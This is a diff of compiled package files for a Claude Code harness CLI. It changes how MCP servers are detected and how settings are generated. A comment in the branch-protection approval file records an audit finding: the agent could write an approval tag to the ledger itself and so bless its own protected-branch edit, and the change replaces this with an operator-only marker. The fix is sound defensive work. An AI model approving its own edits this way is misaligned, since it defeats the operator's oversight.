AoE;IACpE,uEAAuE;IACvE,gEAAgE;IAChE,iCAAiC;IACjC,MAAM,sBAAsB,GAAG,QAA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package/dist/cli/adopt/index.d.ts

@@ -11,6 +11,21 @@ export interface AdoptOptions {
      * exercised hermetically.
      */
     stdinIsTTY?: boolean;
+    /**
+     * Test seam (D-101/D-102, task 83d8d03a): explicit override for the
+     * Claude Code user-scope MCP registry file (~/.claude.json /
+     * $CLAUDE_CONFIG_DIR/.claude.json) `adopt` reads READ-ONLY to compute
+     * MCP drift. Takes precedence over `env`. Production callers leave this
+     * unset; the CLI never needs to pass it since the real registry always
+     * lives at the resolved default path.
+     */
+    registryPath?: string;
+    /**
+     * Override for process.env (CLAUDE_CONFIG_DIR lookup) used to resolve
+     * the default registry path when `registryPath` is not given. Defaults
+     * to `process.env`.
+     */
+    env?: NodeJS.ProcessEnv;
 }
 export interface AdoptResult {
     manifestPath: string;
@@ -31,5 +46,20 @@ export interface AdoptResult {
     replacedMcpNames: string[];
     /** Human-readable status: "no-drift" | "declined" | "applied". */
     outcome: "no-drift" | "declined" | "applied";
+    /**
+     * Names present in a legacy/dead top-level `mcpServers` block inside
+     * `settingsPath` (D-101, task 83d8d03a). Claude Code does not read this
+     * file for MCP registration at runtime (io/claude-mcp.ts:1-9) — this is
+     * surfaced purely as a cleanup hint, NEVER as a source of `mcpDrift`.
+     * Sorted; empty when `settingsPath` has no such block.
+     */
+    deadSettingsMcpNames: string[];
+    /**
+     * Set when the effective MCP registry file could not be read safely
+     * (malformed JSON, `mcpServers` not an object — an ENOENT/missing file
+     * is NOT an error and leaves this unset). MCP drift is computed against
+     * an empty registry projection in that case rather than guessing.
+     */
+    registryReadError?: string;
 }
 export declare function adopt(settingsPath: string, opts?: AdoptOptions): Promise<AdoptResult>;

package/dist/cli/adopt/index.js

@@ -10,7 +10,8 @@ import { formatValidationErrors, validateBeforeWrite, } from "../../io/validate-
 import { parseManifest } from "../../schema/index.js";
 import { applyAdd } from "../add/mutate.js";
 import { EX_FAIL, EX_NOINPUT, HarnessExitError } from "../exit-codes.js";
-import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, synthesizeName, } from "./derive.js";
+import { readTopLevelMcpServers, resolveClaudeUserRegistryPath } from "../../io/claude-mcp.js";
+import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, projectRegistryMcpServers, synthesizeName, } from "./derive.js";
 const DEFAULT_BASENAME = "harness.yaml";
 const LOCK_BASENAME = ".harness.lock";
 function resolveManifestPath(opts) {
@@ -50,9 +51,22 @@ export async function adopt(settingsPath, opts = {}) {
     }
     const settingsHooks = parseSettingsHooks(settingsRaw);
     const drift = computeDrift(settingsHooks, projection);
-    const settingsMcp = parseSettingsMcpServers(settingsRaw);
+    // D-101: MCP drift is ALWAYS computed against the effective Claude Code
+    // user-scope registry (read-only top-level `mcpServers` of
+    // ~/.claude.json / $CLAUDE_CONFIG_DIR/.claude.json), regardless of
+    // `settingsPath` — Claude Code does not consume settings.json's
+    // `mcpServers` block at runtime (io/claude-mcp.ts:1-9). `settingsPath`
+    // remains the source for hook adoption above. A dead `mcpServers` block
+    // in `settingsPath`, if present, is still surfaced (`deadSettingsMcpNames`)
+    // as a cleanup hint but never feeds `mcpDrift`.
+    const deadSettingsMcpNames = parseSettingsMcpServers(settingsRaw)
+        .map((m) => m.name)
+        .sort();
+    const registryPath = opts.registryPath ?? resolveClaudeUserRegistryPath({ env: opts.env });
+    const { servers: registryServers, error: registryReadError } = readTopLevelMcpServers(registryPath);
+    const registryMcp = projectRegistryMcpServers(registryServers);
     const mcpProjection = manifestMcpProjection(manifest);
-    const mcpDrift = computeMcpDrift(settingsMcp, mcpProjection);
+    const mcpDrift = computeMcpDrift(registryMcp, mcpProjection);
     if (drift.length === 0 && mcpDrift.length === 0) {
         return {
             manifestPath,
@@ -66,6 +80,8 @@ export async function adopt(settingsPath, opts = {}) {
             adoptedMcpNames: [],
             replacedMcpNames: [],
             outcome: "no-drift",
+            deadSettingsMcpNames,
+            ...(registryReadError !== null ? { registryReadError } : {}),
         };
     }
     const taken = new Set(manifest.hooks.map((h) => h.name));
@@ -135,6 +151,8 @@ export async function adopt(settingsPath, opts = {}) {
                 adoptedMcpNames,
                 replacedMcpNames,
                 outcome: "declined",
+                deadSettingsMcpNames,
+                ...(registryReadError !== null ? { registryReadError } : {}),
             };
         }
     }
@@ -191,6 +209,8 @@ export async function adopt(settingsPath, opts = {}) {
         adoptedMcpNames,
         replacedMcpNames,
         outcome: "applied",
+        deadSettingsMcpNames,
+        ...(registryReadError !== null ? { registryReadError } : {}),
     };
 }
 function buildMcpEntry(d, existing) {

package/dist/cli/adopt/index.js.map

@@ -1 +1 @@
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package/dist/cli/apply/generate-settings.d.ts

@@ -25,12 +25,25 @@ export interface SettingsPermissions {
 }
 export interface SettingsRoot {
     hooks: Record<string, SettingsHookGroup[]>;
-    mcpServers?: Record<string, SettingsMcpServer>;
     permissions?: SettingsPermissions;
 }
 export interface GenerateSettingsResult {
     root: SettingsRoot;
     warnings: string[];
+    /**
+     * The manifest's `tools.mcp[]` entries translated into Claude Code's
+     * server-spec shape (command/args/env), INCLUDING the grounding-mcp
+     * `EVIDENCE_LEDGER_DB` projection (`projectGroundingEnv`). Deliberately
+     * NOT part of `root` and never serialized into settings.json (task
+     * init-mcp-wiring-claude-code/T-002): Claude Code does not read the
+     * settings.json `mcpServers` block at runtime — see
+     * `src/io/claude-mcp.ts`'s module header. User-scope MCP registration
+     * goes exclusively through the `claude mcp` CLI now
+     * (`ensureMcpServers`); this field is what feeds that path. The init
+     * wizard (`src/cli/init/interactive.ts`) reads it directly instead of
+     * reading it back out of a written settings.json.
+     */
+    mcpServers: Record<string, SettingsMcpServer>;
 }
 export interface GenerateSettingsExtras {
     /**

package/dist/cli/apply/generate-settings.js

@@ -78,14 +78,18 @@ export function generateSettingsWithWarnings(manifest, extras = {}) {
         const hooks = byEvent.get(event) ?? [];
         out.hooks[event] = buildGroups(hooks);
     }
+    // buildMcpServers/projectGroundingEnv still run here (not moved) so the
+    // env-tilde and empty-command warnings stay attached to the same
+    // `warnings` array regardless of which path (settings.json hooks vs.
+    // the claude-mcp Ensure path) consumes the resulting spec map. The
+    // result is intentionally NOT projected into `out` — see
+    // GenerateSettingsResult.mcpServers.
     const mcp = buildMcpServers(manifest.tools.mcp, warnings);
     projectGroundingEnv(manifest, mcp, extras.homeDir);
-    if (Object.keys(mcp).length > 0)
-        out.mcpServers = mcp;
     const permissions = compactPermissions(extras.packPermissions);
     if (permissions)
         out.permissions = permissions;
-    return { root: out, warnings };
+    return { root: out, warnings, mcpServers: mcp };
 }
 function compactPermissions(p) {
     if (!p)

package/dist/cli/apply/generate-settings.js.map

@@ -1 +1 @@
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package/dist/cli/approve/branch-protection.js

@@ -3,7 +3,7 @@
 // The operator's deliberate blessing of a protected-branch edit (version
 // bumps, CI workflow patches, hotfixes) for one session. Audit finding
 // #39: the old override was a `branch-protection-ack:` ledger tag, but the
-// agent has direct `mcp__agent-grounding__ledger_add` access and could
+// agent has direct `mcp__grounding-mcp__ledger_add` access and could
 // self-write that tag to bless its own edit. This verb instead writes the
 // canonical operator-only approval MARKER under
 // `harness.generated/.approvals/branch-protection-<sessionId>` (the same

package/dist/cli/approve/branch-protection.js.map

@@ -1 +1 @@
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